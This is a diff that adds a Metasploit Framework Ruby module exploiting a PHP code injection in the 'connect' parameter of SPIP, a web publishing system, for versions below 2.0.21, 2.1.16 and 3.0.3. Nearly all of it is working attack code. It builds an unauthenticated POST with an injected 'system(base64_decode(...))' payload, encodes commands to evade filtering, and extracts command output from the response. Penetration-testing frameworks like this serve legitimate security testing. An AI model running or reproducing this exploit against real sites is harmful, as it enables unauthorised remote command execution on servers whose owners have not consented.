|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'base64' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'SPIP Connect Parameter Injection', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a PHP code injection in SPIP. The vulnerability |
| 20 | + exists in the connect parameter and allows an unauthenticated user |
| 21 | + to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned. |
| 22 | + Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3. |
| 23 | + The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Arnaud Pachot', #Initial discovery |
| 28 | + 'Davy Douhine and Frederic Cikala', #PoC |
| 29 | + 'Davy Douhine', #MSF module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'BID', '54292' ], |
| 35 | + [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ] |
| 36 | + ], |
| 37 | + 'Platform' => ['unix'], |
| 38 | + 'Arch' => ARCH_CMD, |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'Space' => 1024, |
| 42 | + 'DisableNops' => true, |
| 43 | + 'Compat' => |
| 44 | + { |
| 45 | + 'PayloadType' => 'cmd', |
| 46 | + } |
| 47 | + }, |
| 48 | + 'Targets' => |
| 49 | + [ |
| 50 | + [ 'Automatic', { } ] |
| 51 | + ], |
| 52 | + 'DefaultTarget' => 0, |
| 53 | + 'DisclosureDate' => 'Jul 04 2012')) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), |
| 58 | + ], self.class) |
| 59 | + end |
| 60 | + |
| 61 | + def exploit |
| 62 | + uri = normalize_uri(target_uri.path, 'spip.php') |
| 63 | + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) |
| 64 | + |
| 65 | + # Very dirty trick ! |
| 66 | + # The SPIP server answers an HTML page which contains the ouput of the executed command on target. |
| 67 | + # To easily extract the command output a header and a trailer are used. |
| 68 | + # Then the whole thing (header + CMD + trailer) is base64 encoded to avoid spaces/special char filtering |
| 69 | + # The header and the trailer will then be used to display the result (print_status) |
| 70 | + # Rex::Text.encode_base64() instead? |
| 71 | + cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456-\";") |
| 72 | + |
| 73 | + # Another dirty trick ! |
| 74 | + # A character is added in the trailer to make the cmd64 string longer and avoid SPIP "=" filtering. |
| 75 | + if cmd64.include?("=") |
| 76 | + cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456--\";") |
| 77 | + end |
| 78 | + |
| 79 | + # The (trivial) vuln |
| 80 | + data_cmd = "connect=?><? system(base64_decode(#{cmd64}))?>" |
| 81 | + |
| 82 | + begin |
| 83 | + print_status("Attempting to connect to #{rhost}:#{rport}") |
| 84 | + res = send_request_cgi( |
| 85 | + { |
| 86 | + 'uri' => uri, |
| 87 | + 'method' => 'POST', |
| 88 | + 'data' => data_cmd |
| 89 | + }) |
| 90 | + if (res) |
| 91 | + # Extracting the output of the executed command (using the dirty trick) |
| 92 | + result = res.body.to_s.split("-123-").last.to_s.split("-456-").first |
| 93 | + print_status("Output: #{result}") |
| 94 | + end |
| 95 | + end |
| 96 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 97 | + rescue ::Timeout::Error, ::Errno::EPIPE |
| 98 | + end |
| 99 | +end |
0 commit comments